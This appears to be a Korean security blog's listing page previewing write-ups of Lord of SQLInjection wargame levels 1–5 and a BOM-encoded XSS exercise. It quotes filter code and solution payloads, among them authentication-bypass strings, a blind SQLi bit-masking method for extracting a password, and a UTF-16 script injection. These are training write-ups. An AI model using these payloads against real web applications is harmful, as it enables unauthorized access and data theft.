전체 글
-
LOS - wolfman / level 5Web/SQLI 2024. 6. 23. 17:38
문제 풀이 과정if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); pw의 값 중, 공백을 필터링 하는 것으로 보인다. %09 => tab%0b / %0a => 특수 문자이지만 mysql에서 받아 들일 수 없으므로 공백으로 취급 정답더보기?pw=%27%09or%09id=%27admin%27%23
-
LOS - orc / level 4Web/SQLI 2024. 6. 21. 15:32
풀이 과정Blind SQL Injection으로 수행length로 길이 체크 후 비트 마스킹 pw=' or id='admin' and length(pw) > 1 %23pw=' or id='admin' and length(pw) > 8 %23 => admin 의 pw의 최대 길이는 8 pw=' or id='admin' and ascii(substr(pw,1,1)) & 1 %23~pw=' or id='admin' and ascii(substr(pw,1,1)) & 128 %23 각 자리 수 도출 정답더보기?pw=095a9852
-
LOS - goblin / level 3Web/SQLI 2024. 6. 21. 15:14
풀이 과정if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; echo "query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("goblin"); ..
-
LOS - cobolt / level 2Web/SQLI 2024. 6. 21. 14:55
풀이 과정if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; echo "query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "He..
-
LOS - gremlin / level 1Web/SQLI 2024. 6. 21. 14:47
풀이 과정if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database! if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; $_GET['id']와 $_GET['[pw']를 받는 것을 확인 id = 'or 1=1 #을 넣으면 우회 가능 정답더보기id=%27%20or%201=1%20%23
-
BOM XSSWeb/XSS 2024. 6. 21. 14:42
Byte Order Mark바이트 순서 표시(Byte Order Mark, BOM)는 유니코드 문자 U+FEFF로, 매직넘버로서 문서의 가장 앞에 추가하여 텍스트를 읽는 프로그램에 여러 정보를 전달할 수 있다.16비트 혹은 32비트 인코딩의 경우, 문서의 바이트 순서 또는 엔디언문서의 인코딩이 거의 확실히 유니코드임문서에 사용한 유니코드 문자 인코딩 방식인코딩에 따른 바이트 순서 표식문제화이트햇스쿨 2기 프로젝트 과제로 부여받음풀이 과정url 파라미터로 x를 받아 echo[ -~]{2} 를 필터링. 즉, 아스키코드표에서 출력 가능한 범위 중 2개가 연속으로 오면 필터링 됨 input : x=ab%FE%FF%00%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t..